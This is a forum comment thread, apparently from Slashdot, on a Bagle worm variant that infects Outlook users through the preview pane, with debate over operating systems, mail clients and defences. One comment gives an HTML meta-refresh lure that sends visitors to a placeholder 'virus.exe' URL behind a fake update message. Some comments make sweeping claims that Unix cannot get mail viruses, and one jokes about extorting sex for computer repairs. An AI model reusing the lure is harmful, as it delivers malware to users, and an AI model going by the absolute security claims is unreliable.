http://www.securityfocus.com/news/8291

Re:Switch!!!

[tgibbs]

The reason most (or all) AIDS infections happen through unprotected sex is because that's where the virus will do the most damage, since most people have unprotected sex.

If everyone switches to wearing condoms or practicing abstinence then you'll start to see AIDS mutations that jump through the air or something.

That is nonsense. A HIV strain that propagates through the air will be strongly favored whether people practice safe sex or not, because people breathe more than they have sex. Taking precautions against venereal spread of HIV will do nothing to increase the mutation rate of the virus.

Re:Switch!!!

[Babbster]

Welcome to jumping the gun. I've read pages of replies and nobody has mentioned an inaccuracy in the Slashdot blurb. It takes slightly more than just "selecting" the message. Specifically, you have to select the message with the preview pane turned on. While it is on by default in Outlook, it's VERY easy to turn it off (which I've done because I don't deal with much e-mail and don't want to deal with switching away from Outlook Express).

For those who ARE using Outlook Express (you probably don't want to admit it), simply go to View->Layout... and uncheck "show preview pane." Bada bing. Add that to applying the restricted attachment options on the security tab under Tools->Options and you're set. Until they find a way to embed the virus in headers, you'll be safe from e-mail viruses and you can go on using the [admittedly bad] Microsoft e-mail client.

Re:Switch!!!

[Anonymous Coward]

2. ...people breathe more than they have sex.

Maybe you do...

Re:Switch!!!

[gujo-odori]

Insightful?! You, moderators! Yeah, you! Put down those crack pipes and come out with your hands on top of your head!

The fact is, the kinds of viruses that routinely affect Outlook and Outlook Express are simply impossible on Linux or any other flavor of Unix. The architecture doesn't work that way. There have been viruses and worms written for *nix, and with the exception of the Morris worm, which actually exploited a feature of Sendmail rather than of Unix and was a cross-platform worm thereby, none of them have been particularly widespread.

It has already been explained by someone else, but in Linux - no matter what mail client you use - there is simply no concept of an excutable attachment. Binary attachments may be viewable, but they cannot be executed. So until someone comes up with a way to embed something in an attachment which can cause the viewer to do something bad, such as take the attachment and execute it as its own code, Linux and all other *nix platforms are pretty safe from email viruses. Moreover, not only is such a thing very hard to do (if it's even possible), it's further limited by the fact that you just don't know what somebody is using as a viewer for a given file type. There are so many choices. There are dozens of things that could be my .jpg viewer, for example. Maybe you found a way to make Kuickshow take code embedded in a .jpg and execute it, but if I'm not using Kuickshow, you're SOL.

A worm that does not depend on email has a little better chance on *nix, such as the Lion worm (IIRC) that could infect certain versions of lpd a few years ago. Still, that one was never really widespread either, because:

A) Not all machines are running any kind of lpd;
B) If they are, it may be firewalled off and/or not listening on an external interface and/or not accepting connections from non-local IPs;
C) It might not be an affected version anyway;
D) It might be CUPS or lprng, and those wouldn't be affected at all, unless you took all three of them into account when writing the worm (the lion worm didn't). Even then, you'd have to hit the right version on the right platform for each variant.

A worm or virus that tried to exploit features of an MTA or database or something within X would also face a tough time because they might not (read "probably won't") work on all distros, glibc versions, KDE versions, Gnome versions, Fluxbox versions, IceWM versions, WindowMaker verions, etc. If it depends on an MTA or database to spread, then you have to account for Sendmail (lot of versions), Postfix, qmail, Exim (v. 3.x and 4.x), some proprietary MTAs, and who knows what else. If it's a database, could be Oracle, MySQL, Postgresql, or who knows what else. And of course it has to be unfirewalled. Most people running an SQL server on *nix are also running a firewall. Maybe multiple layers of firewalling, if they're properly paranoid.

These are issues faced by anyone who wants to write a virus or worm for Linux or Unix.

The fact is, writing worms and viruses for Linux, *BSD, or a proprietary UNIX platform is a lot harder than writing them for Windows, and they spread a lot more slowly and don't get nearly as far. Yes, as Linux continues to grow in popularity you will see more attempts at viruses and worms for Linux. Most of them will be abject failures, and even the ones that aren't will never have the impact that Viruses and worms have had on Windows. Not only for the reasons outline above, but for one more big one, which is a product of the reasons above: SPEED. There are simply too many different distros on different hardware platforms, with different configurations, and different versions of key items on which a worm will depend, for it to be able to spread quickly.

That is why, even if Linux should someday utterly dislodge Windows from the desktop and command a 90% market share, with the rest mostly held by Mac, it will NEVER have the kind of virus and worm problems Windows has. On Windows, the problems are designed in. On *nix, they are designed *out*.

Re:Switch!!!

[IntlHarvester]

Agreed. And I'm not particuarlly fond of Mozilla using it's full-featured HTML renderer for E-mail either. (Even though there's no known problems.) Ideally, you'd have a mini-render that would only operate on a Netscape v1-level HTML -- fonts and styles only.

As for text clients, there's been a few real world mail-based exploits for Pine over the years. Buffer-overflows in date or MIME parsing isn't exclusive to GUI programs.

Re:Switch!!!

[njdj]

The reason most (or all) viruses are written for Windows is because that's where they'll do the most damage, since most people use Windows.

If everyone switches to Linux or Mac OS then you'll start to see viruses for those operating systems.

This is not the whole story. Microsoft's mail programs are just one big security disaster. There are clever people writing Linux attacks, but almost all Linux mail programs are inherently more secure than Outlook.

Some people in this thread have suggested that ISPs block virus-loaded mail in their servers. This is nonsense, and violates the basic concepts underlying the Internet, but it does illustrate how bad Outlook is. Essentially it's saying that Outlook is so insecure it can't even be exposed to raw email messages.

Re:Switch!!!

[skinfitz]

There has not been ONE single Linux virus that has propagted in the wild

You mean apart from the Ramen Worm?

In fact wasn't that the first effective worm on the net? One that affected only Red Hat Linux systems?

Re:Switch!!!

[the_womble]

Still not a lot compared with Windows.

Even if viruses existed in line with market share you would expect 100s or thousands of linus viruses.

Also the linked article does explain why Linux is an attractive target for virus writers: which supports point - that Windows viruses are not more prevelant purely, or even mainly, because it is more widely used.

Re:Switch!!!

[fish waffle]

That is more myth than truth....they target not the plentiful system but the easiest.

You are quite right. But that's most important only to why windows is targetted, and not why virii in this context are such a problem. Moreover, targetting is undoubtedly correlated with perceived success, so another key factor is how well the virus "does."

To be successful, it only seems reasonable that a virus needs both a vulnerable host design, and a reasonable number of potential hosts within reach of each other. Propagation won't be effective if there are too few victims, too poorly connected. Better connectivity is at least loosely implied by abundance---it doesn't have to be a monoculture, but the more like one it is the better it is for viral transmission.

It's a tradeoff between the easy and the plentiful, with i agree a strong emphasis on the easy. Thinking about it further, there are probably a number of other weights in the equation too: chance of punishment for the virus writer, impact of each individual infection, peer-acceptance (windows=bad, linux=good), ...

hmm: weight these factors, empirically test & refine, publish master equation of virus writer motivation, enjoy eternal fame...

Re:Switch!!!

[drrobin_]

There has not been ONE single Linux virus that has propagted in the wild: given the huge nubmer of viruses out there I would have thought someone* would have written and released one for Linux just to show it can be done.

Sorry buddy, but you are wrong. I was a crappy admin (back in my run-as-root-at-all-times days) and didn't patch a bind for an exploit in the redhat package. I got a worm which overwrote every copy of "index.html" with an infection notice, then which proceeded to scan for other hosts. It was the lion worm that got me.

Of course, it was my fault, for running an unpatched system. But I also have the perspective of the common user here: I did not know that a patch had been released

How about....

[sethadam1]

How about...

a. Turn off preview pane
b. Use OWA
c. Stop using Outlook/Outlook Express

?!

Re: How about....

[Black Parrot]

How about...

a. Turn off preview pane
b. Use OWA
c. Stop using Outlook/Outlook Express

d. Read your mail on someone else's computer

Re:How about....

[photon317]

Mozilla Thunderbird is a great lightweight email client replacement for Outlook. Your average home user who has an imap or pop account from an ISP really has no good excuse not to uninstall Outlook from their machine and switch. Corporate users on the other hand are a little more screwed, since many of them use Exchange servers that don't have OWA turned on and/or aren't Exchange 2000/2003, which precludes using Evolution's commercial plugin to get calendaring integration and whatnot. However corp users that do meet those server-side requirements can do so. Or if you don't use or need the calendaring part in your organization and the exhcnage server has IMAP, then you can also go Thunderbird there too.

Re:How about....

[Snad]

because it would cost $thousands for companies to switch?

As compared to the $thousands it's costing them already to deal with this kind of crap?

It would be short term pain for long term gain.

Re:How about....

[pyite]

And it costs MORE not to switch. Unfortunately, most companies can't see past their nose as far as technology costs are concerned.

Re:How about....

[big tex]

a. and b. are not acceptable answers.

I have to use outlook at work, much as I do not like it.

I love the preview pane concept, it makes much more sense with email. I use it with Kmail at home as well. Turning off the preview pane is just treating the symptoms and ignoring the root. Our IT people do a good job of patching and filtering, so I can keep using the preview pane.

OWA sucks to a degree that makes Outlook look good. OK when you are on the road and checking from someone else's computer, but not an acceptable replacement. Once again, a symptom, not a cause.

Simple...

[Brandybuck]

Given that you have to select an E-mail to delete it, how are users supposed to protect themselves from this one?

Simple. Don't use Windows.

How to protect?

[phreak03]

How about they, PATCH THEIR DAMN SYSTEMS how about they, STOP USEING OUTLOOK how about they, stop useing a unsecure operating system (come on, if you like windows back patch to me, most of these virus's don't work on it)

one word

[Diclophis]

pine (or mutt)

Outlook only

[Anonymous Coward]

Maybe the summary should specify that this is limited to Outlook/Outlook Express. I mean, most people probably know, but it sounds as if ALL email clients are vulnerable, which is hardly the case.

Two Words:

[Limecron]

Right-click

err...

One word, hyphenated.

Re:Two Words:

[Goldenhawk]

Sorry. With Outlook Express, if you right click, the message STILL shows in the preview pane. You MUST disable the preview pane to prevent this kind of thing.

Same thing with web bugs - this is really not new in that respect. I've been using Outlook Express for several years now with no real problems, but I've had the preview pane off for exactly this reason.

Oh, and I also pay EmailSifter.com $35/month to filter my domain's email. They've been blocking around 70% spam on average, with 1% false positive rate, and only about 0.1% false negative rate, and have blocked about 800 virus-laden emails in one month...

Re:Two Words:

[ceejayoz]

They've been blocking around 70% spam on average, with 1% false positive rate, and only about 0.1% false negative rate

How can you get a 0.1% false negative rate when 30% of spam is getting through?

Re:Two Words:

[GreyWolf3000]

I think he meant that of those emails blocked, 70% were blocked because they were spam. The other 29.98% were blocked becuase they contained a virus.

Or the post could be completely mistaken.

Re:Two Words:

[MyHair]

How can you get a 0.1% false negative rate when 30% of spam is getting through?

Who claimed they were blocking all the spam? Obviously they intentionally allow about 29.9% of the spam on average.

Re:Two Words:

[hallucination]

How can you get a 0.1% false negative rate when 30% of spam is getting through?

He isn't saying that 30% of spam is getting through.... He is saying that they are blocking 70% of their incoming mail as it is spam. That means that 30% is determined to be real mail.

1 answer.

[numbski]

Use thunderbird, connect to exchange via IMAP4, use the web interface for calendaring.

Re:1 answer.

[tepples]

Unless your IT department cluelessly refuses to turn on IMAP4 "for security reasons."

I know when I want virus info

[Anonymous Coward]

I head straight to the Motley Fool. Likewise, when I want financial info, I'm on Slashdot.

Delete without viewing?

[benh999]

Disable the preview pane.

Aside from...

[ZiZ]

...applying the patch which the article says was out last October?

I don't know. Webmail, one of the numerous non-vulnerable email clients for Windows, maybe give up email entirely?

Not hard

[fatwreckfan]

Don't use Outlook/OE.

There are tons of other options out there that aren't vulnerable, such as Mozilla and Thunderbird.

Re:Not hard

[catch23]

Easy for casual email users, but not for corporate people like myself. All meetings are scheduled via Outlook and if I don't promptly respond to meeting requests, I get rough verbal feedback from my boss. Even though I do most of my development in Linux, I still need a windows machine to use Outlook 2003. You're lucky if your company doesn't force you to use Outlook for all the meeting/appointment scheduling. But unfortunately there is no solution here. Even Evolution is not a solution since it doesn't quite support calendaring very well. Would you care to offer more useful advice? Thanks!

Re:Not hard

[tunabomber]

Don't use Outlook/OE.

There are tons of other options out there that aren't vulnerable, such as Mozilla and Thunderbird.

Thank you for telling me this!! As a Slashdot reader, I never would have known that Microsoft's products suck and far superior open source equivalents exist!
Everything I ever read on Slashdot has been pro-MS propaganda until your brilliant comment escorted me out of the cave of ignorance to the enlightened world above!
My eternal thanks.

Re:Not hard

[Billly Gates]

That is not an option for workplaces that have standardized on Microsoft. Which is frankly about %95 of them.

It took years to have all the pc's with the same applications installed through managment bueacracy to cut down on support costs. Its not like you can switch 4k corporate desktops at once.

Also to the suits, Outlook is the best mail client today because it fully integrates with Exchange Server for things like Scheduling. Many even have custom VB/VBA apps that take advantage of this functionility with customer order, sheets, special projects calanders, etc.

It is standard and will not go away. They will go crazy even if you could switch 4k desktops in a corporation to Thunderbird due to the lost functionality not to mention applications.

Maybe if we got off our butts and wrote an equilivant mail server with scheduling features and a protocal for clients we might have something to offer the suits as an alternative.

Monoculture is bad

[lavalyn]

The viruses have mutated in the wake of developed resistance (slightly more educated users). It's an evolutionary battle being fought...

But as there are way too many deployments of Outlook as it is, and because it is Outlook/IE that is being exploited, the first solution would be to increase diversity in that field. Other mail clients, such as Thunderbird, or Eudora, will thrive while Outlook continues to succumb to these new diseases.

Oh who am I kidding, Outlook will continue to wreak its wrath upon the Net and cause us to all suffer as a result.

Re: Monoculture is bad

[Black Parrot]

> But as there are way too many deployments of Outlook as it is, and because it is Outlook/IE that is being exploited, the first solution would be to increase diversity in that field.

IMO e-mail viruses don't result from monoculture; they result from bad software design. Namely, e-mail clients that execute attachments.

We'd have Linux e-mail viruses in a minute if the popular e-mail clients added support for automatic execution of attachments. (Assuming anyone was foolish enough to use them.)

Re: Monoculture is bad

[bgarrett]

Bad software design can emerge from a monoculture. Linux et al. is mostly virus-free because there is no Linux Inc. who writes email clients that auto-execute attachments simply because some corporate customers like it that way. The design goals and objectives of FOSS are capable of being highly secure because there is no central management ensuring that something else takes priority at all costs.

Not just clicking on it

[Unordained]

As per the article (Motley, at least) ... the virus is executed by some malicious HTML in the message, which would be activated if the message is viewed in full or preview(pane) modes. Simply clicking on the message in the list (you -did- turn the preview pane off, didn't you?) won't infect the machine. However, this does mean that similar HTML, from a web browser, might also be dangerous. Anyone have info on that idea? (Malicious websites giving you the virus by visiting the site?)

Re:Not just clicking on it

[berzerke]

...However, this does mean that similar HTML, from a web browser, might also be dangerous...

Yes. The flaw isn't in Outlook/OE per se, but in IE, which those two use for rendering html. From the article: "..infects a PC through a known flaw in the Internet Explorer browser..."

Re:Not just clicking on it

[Tokerat]

Begin HTTP dump:

Location: http://url.of.virus/virus.exe
Content-type: text/html

<html>
<head>
<meta http-equiv="refresh" content="3;URL=http://url.of.virus/virus.exe">
</ head>
<body>
<h1>Please wait! Updating your computer for this website!</h1>
</body>
</html>

That'll usually just about do it. I've seen it before with the AIM viruses which have been common lately. It's actually a bit funny when it happens on a MacOS 9 machine :-)

ActiveX controls I'm told are actually a great way to make this happen automatically and without notice (erm, on Windows), but I have no idea about the actual method.

how to fix

[AnonymousCowheart]

How to fix this? Install mozilla!
Anyway, according to this article here,
"Bagle exploits a flaw in Outlook, revealed in October of 2003, that allows a hacker to upload and execute a file on a user's PC without that user opening the file. Microsoft has issued a patch for the flaw in October, but users who have not updated their systems with this patch are at risk."
If you run an MS machine, and don't know that you have to update regularly, you need your head checked. Besides, updating an MS machine really is easy.

Re:how to fix

[oolon]

Easy if you have a cable modem, some of those patches are huge, service packs require 5+ hours to download on a modem.

James

From the article

[DRUNK_BEAR]

"... in that most people have learned not to open e-mails that have attachments they aren't expecting," Belthoff said from Sophos's lab in Boston, Mass.

Is that guy clueless??? People still open attachments even though they don't know what it is. Remember a few weeks ago?? It happened and will happen again. This "new" twist of a virus is still crap news though...

Download Email Headers Only

[Boyceterous]

One feature of MS Outlook that is missing from most other email clients is the ability to download just email headers. I use this feature to review sender/subject and I can identify all spam just from that.

Actually, I use my own program to download headers, score them for likely spam, delete the garbage emails(without ever downloading the actual content), then start outlook to get the real ones.

Obviously, if a legit sender transmits a virus, it's a problem, but I guess that's why I pay Symantec.

well...

[LBArrettAnderson]

Given that you have to select an E-mail to delete it, how are users supposed to protect themselves from this one?

place 2 other junk emails around it, select the top 1, hold shift, select the bottom one.... DELETE.

Well, its pretty easy actually....

[kiwioddBall]

Users can either : 1. Switch on automatic updating in which case they don't have to do anything. 2. Go to http://windowsupdate.microsoft.com and download the patches. Microsoft provide fully automatic solutions to do it. If a user gets infected they are STUPID. It isn't Microsofts fault.

Re:Well, its pretty easy actually....

[lavalyn]

Good job, you've just infected a fresh Windows XP install without even finishing downloading the patches necessary.

Good job, you've just fubared your computer because one of the patches was broken.

Good job, you've just installed Windows Media Player 9 and now you have to figure ANOTHER weird program out.

Re:Well, its pretty easy actually....

[bcrowell]

1. Switch on automatic updating in which case they don't have to do anything. 2. Go to http://windowsupdate.microsoft.com and download the patches.
Must ... restrain ... urge ... to bash ... Microsoft ... Must ... restrain ... urge ... Must...

Sorry, I can't help myself. There are several problems with this. (1) Some people get infected within minutes of putting their machines on the web, which means they haven't had time to fix their Windows machine's insecure out-of-the-box configuration. (My mom, who has a PhD by the way, bought a Windows box, and was infected the next day.) (2) You may not be sure if the updates are going to break something. (3) If you refuse to get on the Windows upgrade treadmill, you may end up running an old, unsupported version of Windows, with no way to upgrade it.

Note that all of these are problems that come from running a closed-source OS. (1) Open-source OSes aren't driven by marketing concerns, so they're shipped with configurations that are much more secure out of the box. (2) On an open-source OS, people can look at the updates and see if they look like they're of high quality. (3) On an open-source OS, there's no upgrade treadmill.

How about...

[Spacejock]

... using email software which doesn't render HTML, and instead shows it as plain text without images?

Yes, I wrote it. I wrote it because 99% of the messages I receive in HTML format are advertising. Most of those use dinky little images with referrer IDs to verify your email address is valid. The 1% I really need to see in HTML ... well the program has a link so you can view it in your default browser, if you really have to.

I know it's going back to the dark ages, but maybe NOT running javascript, html, etc is actually GOOD when it comes to emails.

I'm not advertising this thing, it's freeware anyway. I was a moderately happy Outlook Express user for years, but the lack of spam torturing implements drove me to write my own. Yes, I tried Mozilla, Eudora, etc etc. I think Thunderbird looks interesting too, and I recommend it. But personally I can't do without my POP3 preview window with colour tagging for spam, valid mail, blocked senders, ignored, etc. And deleting stuff before download. And bayesian filtering. And anything else I feel like adding, whenever I want to.

Re:How about...

[Groove Holmes]

I've also recently switched to this approach using Mozilla mail: view->message body as->plain text. Even for mass mail that I choose to get (news summaries, etc.) it is a lot easier to read the plaintext as opposed to waiting for the images to load, then scanning through all the extraneous junk.

The biggest advantage is that I am immune to coworkers who insist on "personalizing" their mail with colors, fonts, graphics in their sigs, and "stationary" (shudder).

Re:How about...

[WNight]

Use IMAP, it's made for this sort of issue.

The pop thing is a kludge because not only do you have to not download her email, but she has to not download yours. If either of you make a mistake it's a pain.

With IMAP if a few get in the wrong category you can simply mark them as unread and drag them into the appropriate folder, as if they never went in the wrong place originally.

All you poor poor Outlook users

[GillBates0]

I pity you so :'( tsk tsk
Proud user of Pine since 1994. Thank you, Univ. of Washington!

? HELP - Get help using Pine

C COMPOSE MESSAGE - Compose and send a message

I MESSAGE INDEX - View messages in current folder

L FOLDER LIST - Select a folder to view

A ADDRESS BOOK - Update address book

S SETUP - Configure Pine Options

Q QUIT - Leave the Pine program

Copyright 1989-2003. PINE is a trademark of the University of Washington.
? Help P PrevCmd R RelNotes
O OTHER CMDS > [ListFldrs] N NextCmd K KBLock

Not a problem at all!

[numbski]

Except that it's on by default. :)

I found that out when I started work at a new company with my PowerBook. Connect to the Exchange via IMAP4 for mail, point the address book at the exchange server via LDAP. iCal wasn't around then, but using that along with groupcal would allow you to do your calendaring, and all without using a single 'authorized' MS client.

On windows...dunno, perhaps there something similar to the groupcal/ical combo to get your calendaring done without Outlook, but I'm not aware of one offhand.

another alternative

[Azureflare]

is The Bat!. This application is a great replacement for Outlook. In fact I've switched my mum and dad over to it from Outlook, and they love it (though the calender does leave something to be desired). It doesn't automatically view emails in HTML mode, but you can select the HTML if you really want to view it in html. Also, it doesn't automatically load external graphic files in emails. (I don't think it loads ANY external files; not sure).

It really ensures the user wants to open attachments to emails, and it integrates fine with Norton Antivirus. It even comes with a Bayesian Spam filter (Which really works, once you get a lot of spam emails for it to learn from).

The Bat is a great program, and it's really improved, especially over the past year.

This is really old news

[gvc]

The mime-type bug has been known for a long time. Microsoft has corrected it (twice :-)). I know this because my parents' computer was infected between their first and second attempts to fix the problem.

In a nutshell, Microsoft uses the filename extension, not the mime type, to decide how to open a particular file. On the other hand, Outlook uses the mime type to decide whether or not to automatically launch images, sound files, etc. So all you had to do was to send a mail with an embedded image with a filename ending in .exe, and it was executed.

It has been more than a year since Microsoft crippled^H^H^H^H^H^H^H^Hfixed IE/OE sufficiently to remove this vulnerability.

I must concur with previous posters that the best approach is to avoid these software products.

Preview Pane Virii are not New

[kwpulliam]

It has been STANDARD practice for quite some time to not use the "Preview Pane" feaute in Outlook. Since html code is displayed as if it were in a browser, this has been open to malicious attacks for quite some time.

This is not New.
This is not News.
This doesn't even matter.
This is not even accuratly portrayed. Selecting an email isn't the problem, displaying it is the problem.

Generic Rant

[_Potter_PLNU_]

<Insert Generic Windows Rant Here>

<Insert Generic Praise about Linux/Mac Here>

<Submit knowing that anyone that has the problem will never see it here>

Re:Generic Rant

[Gleng]

You forgot to close the tags! Now, the rest of Slashdot will be anti-windows, pro-linux/mac...oh, wait...

What to do

[Alien54]

There are a number of decent free and unfree antivirus programs available, as seen in this list

Also nice are programs that let you delete the email at the server before you download, such as mailwasher, and with free versions.

Of course, there are a number of alternate email clients out there that will also help block this beastie

Wow, people love to blame Outlook.

[DroopyStonx]

I've said it before, and I'll say it again: people need to start being responsible for THEMSELVES. It's not Outlook's fault that the user didn't patch their system.

I'm sure that if someone wanted to take the time and analyze the source for Thunderbird, they could easily write the same type of worm/virus. However, you won't get the same type of media coverage that the others written for mainstream products will get. And yes, MS does write some exploitable code.

Most users who aid in the spread of these viruses/worms are ignorant. Time after time, news report after news report, they CONTINUE to fail to keep their systems up to date.

What's funny is each and every mainstream worm has been written AFTER the patch has been released.. and it's not like the day/week after, it's 5-6 months after. That's sad.

Re:Wow, people love to blame Outlook.

[lone_marauder]

I'm sure that if someone wanted to take the time and analyze the source for Thunderbird, they could easily write the same type of worm/virus.

The virus writers have the source code for Outlook? No wonder there are so many viruses for it!

Re:Wow, people love to blame Outlook.

[Ironica]

I'm sure that if someone wanted to take the time and analyze the source for Thunderbird, they could easily write the same type of worm/virus.

I'm not, for several reasons:

1. Thunderbird has never thought implementing auto-launch of executables embedded in email was a good idea.

2. If you're using Thunderbird, you're probably using Firebird, and it's not as likely to try to do what the malformed HTML tells it to.

3. Even if you *do* manage to get Firebird to do it, it's not part of the operating system, and isn't likely to be able to do really nasty stuff to your computer.

Re:Wow, people love to blame Outlook.

[Chapium]

I guess most ignoramous would be under the assumption that having paid $150+ for an OS/software suite, it should just work out of the box. On the light side, imagine if household hardware worked like this. Oops, chainsaw runs backwards! You idiot you forgot to patch it last month! I guess that is what we have recall's for. :D

Re:Wow, people love to blame Outlook.

[m0nkyman]

So what you're saying is that Windows isn't ready for the desktop of an average user yet.

Re:Wow, people love to blame Outlook.

[kurt_cagle]

I have had received more than a few patches from Microsost which:
a) Failed to solve the problem in the first place,
b) Caused another problem to appear in a seemingly unrelated application, resulting in significant time spent debugging, uninstalling, and otherwise wasting time for something I had no control over,
c) Ended up adding significantly to the amount of unusable space on my Windows XP system,
d) Added considerably to the bloat of the System Registry.

I moved our entire company off Windows to SuSE Linux after one of our primary public facing servers became infected with a worm which enterprising hackers used to store (and later serve) German porn movies. This despite our sysadmin religiously installing patches.

That is a big part of the reason why I no longer find the argument that Windows is just simply the largest target even remotely accurate. My sysadmin also does some coding work, and every patch that needs to be uploaded reduces his profitable time; to have something that compromises the integrity of our system in such an egregious manner is not acceptable.

I would rather have a good sysadmin that knows what he's doing maintaining a secure Linux system than having a less competent sysadmin maintaining a Windows system because the system tools are easier to use, even if it means paying more to the Linux admin.

Re:Wow, people love to blame Outlook.

[dedazo]

I love your logic. So what you're saying is that Linux sucks because it's free? I mean, it hardly "works out of the box" anyway.

Be careful with your rationalizations.

Protect yourself...

[Dr. Zowie]

...how are users supposed to protect themselves from this one?

Switch to pine.

Or emacs/VM.

Or mutt.

Or...

Yes They Are Sexually Transmitted

[amigoro]

One could argue that most of these viruses appeal to the base elements of the human psyche. For example, how likely are you to open an email with a topic like:
Re: My Photo by Cindi
Re: Hi Sweetheart by Melissa
Re: From you Secret Admirer by Linda Lovelace

etc.

Moderate this comment
Negative: Offtopic Flamebait Troll Redundant
Positive: Insightful Interesting Informative Funny

Re:Yes They Are Sexually Transmitted

[BrianGa]

"Apparently, the simple act of selecting the message activates the code"

It's not a matter of opening.
People have to select the message to delete it in Outlook, which presents a problem.

Block the email on server

[richard_za]

The following can be done to stop the spread of this Beagle/Bagle worm:

• scan all email for virus/worms/malware when they enter the email server, such software is available for Linux/Unix/MacOS X/Windows etc.. This software has to regularly download virus definitions.
  
• if your email is at kept your isp, or email passes through them before it reaches you, make sure that your isp offers this service.
  
• do not use the ubiquitous outlook client, I have found Novell Ximian Evolution to be an excellent alternative
  
• Make sure you patch your operating system, against known security flaws, most operating systems now have a automated way of doing this
  
• pressure your bosses/university/school to not use software with a poor security record - outlook, internet explorer etc.
  
• lay a charge with law enforcement officials when you are damaged by a worm/virus attach.
  

Re:Well, its pretty easy actually.... and painful

[EmbeddedJanitor]

I work at a place that has a policy of doing auto updates. It's a bit scary thinking that someone else is deciding what shit to load on your box, but hey you just shut your eyes.

The problems come about when you have a bunch of software set up together that works. Then MS goes change something in IE and Acroreader stops working forcing you to go upgrade or reinstall acroreader. Things seem OK for a while, then something else stops working...

This is fire-fighting of an out of control software platform. It is not exactly a great user experience. MS stuff was never really designed to be hooked to the internet.

Lame Post, Lame Articles

[windside]

It occurs to me that both of the articles in the post are extremely light on facts. Furthermore, one of them has the rather pithy headline "Five new Windows Bagle virus variants break nasty new ground; Macintosh unaffected". Frankly, I don't care enough about the story to go hunting for news from appropriate sources like Symantec or McAffee, but it would be nice to see /. posters and/or editors go the extra mile to get out there and find information that is slightly higher than tabloid-quality.

Normally, I would bite my tongue on something like this, but it seems pretty obvious that in this case, the underlying theme of the article is "ha ha, isn't Microsoft terrible", which is pretty juvenile and meaningless. Here's a company that provided - in October - a working patch to prevent the flaw that is exploited by this virus. I'd say that's pretty reasonable, given the circumstances.

[Cue flames.]

Somewhat misleading headline?

[hkmwbz]

I read the headline and thought "wow, they discovered a virus which can infect all (Windows) e-mail client? Surely not", and it turns out that this is indeed another virus which exploits security holes in Outlook.

Shouldn't the headline have been "virus exploiting known Outlook vulnerability" or similar?

So while the headline gives a different impressions, everyone using Opera, Mozilla, The Bat or others are still not affected.

MS just lost my business

[Anonymous Coward]

My drive died this weekend, so I wanted to reinstall Windows 2000. Easy task. Normally speaking yes, but as soon as you want to install the windowsupdates and connect your machine to high-speed internet via your cable company you will instantly get infected - like I did.

Yes, I did have NortonAV installed, but of course it's definitions aren't up to date until it connects to the net too.

Fun times - and many hours into the night with manually editing the registry for bad GUIDs I now have a virus free/locked down 2000 machine.

Some of the new worms we even smart enough to mangle Explorer.exe so you couldn't get to the system32 directory. The only way: cmd.exe.

Microsoft just lost my business.

My next OS is linux.

Re:ARE THEY SEXUALLY TRANSMITTED?

[Anonymous Coward]

You should try extorting sex for fixing women's computers. You'd be surprised how often it works. ^_^

who in their right mind uses html mail?

[humankind]

My policy has always been to disable html-enabled mail. Aside from this recent issue and the hundreds before it, html-enabled e-mail is a major security/privacy invasion. Just use plain text. If you're still using Outlook, no comment.

Linux is the solution? I don't buy it.

[Brightest Light]

That's funny, I'm typing this on a Windows 2000 machine, and I've yet to get infected with the virus/worm/trojan of the week. Maybe its because i use a mail client that isn't riddled with security holes and an anti-virus program. Might I also add that I encrypt/sign all of my email, and I don't open attachments unless I've confirmed the veracity of the email (either by decrypting it (if the sender is clueful) or by talking to the person that "sent" the email (if they aren't)).

I've said this before, SWITCHING FROM WINDOWS TO LINUX WILL NOT ELIMINATE THE PROBLEM.
If a user does not know how to run a windows machine (keeping up to date on patches, running antivirus software, etc) then please explain to me how they'll be able to admin a linux machine. The truth of the matter is, they can't and they won't. The ranting of *nix fanbois aside, the problem exists between chair and keyboard. The email viruses that require you to open a password-protected .zip file prove that.

I'm certainly not trying to hold up windows as the platform of choice, because it sure as hell isn't mine; but regardless of your operating system of choice, if you're clueless you're clueless; and unless you fix that first, you're not going to fix the overall problem.

Re:Linux is the solution? I don't buy it.

[Brightest Light]

might I also add that closing off the bold tag is usually a good thing too :-\

Re:Linux is the solution? I don't buy it.

[Jeremi]

The problem only exists between the chair and the keyboard because the software allows it to exist -- there is nothing that says email software HAS to let the user execute viruses contained in incoming email. Or if you insist that there must be such a feature, there is nothing that says the executed code must be run with the sorts of privileges necessary to allow viruses to spread. I can certainly imagine a system where security was designed in from the start, such that even the most clueless user wouldn't be able to shoot himself in the foot. (Note that Linux is not that system)

Re:Linux is the solution? I don't buy it.

[Coryoth]

If a user does not know how to run a windows machine (keeping up to date on patches, running antivirus software, etc) then please explain to me how they'll be able to admin a linux machine.

No idea. An unfortunately MacOS X is also well known for it's extreme complexity and difficulty to use.

Jedidiah.

The solution is easy, but...

[Infonaut]

The fact of the matter is that we're dealing with Windows. Most Windows users just want to use their computer and know as little as they can about how it actually works. They don't know the meaning of terms like "dialog box", "alert message", "preview panel" and so on.

I'm not saying this to single out Windows users. Most non-professional Mac users are the same way. It's just that Windows is used by people who use what everyone else uses because they feel safe in doing so. They may not know how their computers work, but they're more afraid of looking deviant than having technical malfunctions.

The subconscious refrain of Windows users around the globe is, "Well, at least I'm not the only one with this problem."

Those Windows users who actively try to prepare themselves against the almost daily barrage of new worms, viruses, vulnerabilities, and other Windows annoyances still have a difficult time keeping up with it all. Even experienced Windows power users frequently find themselves overpowered by the ongoing war against malicious code.

So the solution to this vulnerability is simple. But when you look at the situation in context, the potential for widespread havoc is a lot greater.

Yes and No

[macdaddy]

Yes mail admins should implement AV solutions at their borders and within the central mail system itself. All outbound/inbound, inbound/outbound, and inbound/inbound mail should be scanned. However, the providers should not bear the full burden of AV filtering by itself.

AV solutions can and do break. Our's did at my provider. We still haven't got it back online. Our users have had to endure the full brunt of infected email for far too long.

No single AV solution can be up-to-date at all times. For starters we can't update our virus definitions within minutes of a newly discovered virus. It just doesn't happen. AV companies couldn't afford the bandwidth without raising our costs beyond what's considered reasonable. Free solutions such as ClamAV certainly couldn't afford it. Also, not all AV companies discover viruses at the same time. F-Prot might find the latest version of MyDoom before Symantec does. The fact that they found it means it's already in the wild as someone has had to analize it, create a patch for the defs to match this virus, get the patch through Q&A, and get it approved for the next release. There could be numerous hours between the virus getting into the wild, being discovered, being analyzed, and being caught in the latest virus defs.

Finally no defense of any kind should ever be one layer thick. One layer thick means you have no backup plan. No backup plan means you have no contingency for failures. No contingency for failures means your DRP (disaster recovery plan) has either been written fraudulently or you don't have one. In today's business world that means you'd better start updating your resume. A provider's mail system should not be the only line of defense from email-based viruses. Every single end-user desktop should have an up-to-date AV tool scanning all mail ahead or as a companion to the MUA. This is the *only* acceptable means of defense. You have to have end to end protection.

